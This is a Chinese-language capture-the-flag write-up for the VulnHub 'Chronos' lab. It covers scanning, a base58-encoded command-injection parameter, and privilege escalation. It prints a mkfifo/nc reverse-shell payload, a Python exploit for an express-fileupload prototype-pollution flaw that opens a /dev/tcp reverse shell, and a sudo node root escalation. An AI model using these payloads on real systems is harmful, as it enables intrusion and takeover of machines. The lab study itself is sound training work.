靶场下载地址:
https://www.vulnhub.com/entry/chronos-1,735/
VMware用户:
https://blog.csdn.net/weixin_45682839/article/details/126670390
信息搜集
一、Nmap进行扫描
nmap -sP 192.168.128.0/24 #对自己的靶机网段进行存活探测,获取靶机地址
nmap -T4 -A -p- 192.168.128.140 #对目标进行全端口扫描
二、WEB服务探测
通过端口扫描发现80、8000两个web服务
通过访问80、8000页面,查看源码发现一个可以的url:
http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
url无法直接访问,考虑到同样8000端口,使用目标ip进行访问
http://192.168.128.140:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
# windows访问需要使用burp修改:User-Agent: Chronos
重新访问 http://192.168.128.140
发现页面显示了一串时间,通过burp抓包发现网页请求了以下内容
chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
通过对请求包分析
将参数base58解码后,发现是:'+Today is %A, %B %d, %Y %H:%M:%S.'
结合网页收集的信息,该参数和date输出参数很相似
date '+Today is %A, %B %d, %Y %H:%M:%S.'
怀疑存在命令注入问题
使用 && 连接 ls 命令,通过base58编码后重发
编码前:&&ls 编码后:yZSGA
三、获取shell
经过测试,存在命令执行问题,反弹shell
&&rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.128.133 4321 >/tmp/f
# 编码后
93UemYJuKE6f79wxdPxxDBkF1xxu9Lf7chrTxcHVZed3N14uoraUhHHiS15sGQcdtprkRFYG2h1QXwgRJSXdC4k6MzQwXjeYo7GmAYACSJAnRJ2p3yUEURu7BB
虽然请求是失败的,但是仍旧成功反弹shell
四、权限提升
# 通过常规提权的方式,未提权成功
通过搜集发现package.json和server.js文件
发现靶机在127.0.0.1:8080存在一个应用,使用了express-fileupload库
查看到版本为:"express-fileupload": "^1.1.7-alpha.3"
此版本存在任意代码执行漏洞,通过搜索漏洞利用exp进行攻击
代码如下:
import requests
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.128.133/4444 0>&1"'
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
requests.get('http://127.0.0.1:8080')
# 本地监听4444端口,远程下载执行脚本运行
nc -lvp 4444
python3 exp.py
成功获取到一个新的shell
使用获取到的imera用户的shell权限进行提权
# sudo node提权
sudo node -e 'child_process.spawn("/bin/bash", {stdio:[0,1,2]})'
成功获取root权限
原文始发于微信公众号(渗透笔记):Chronos靶场实战
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论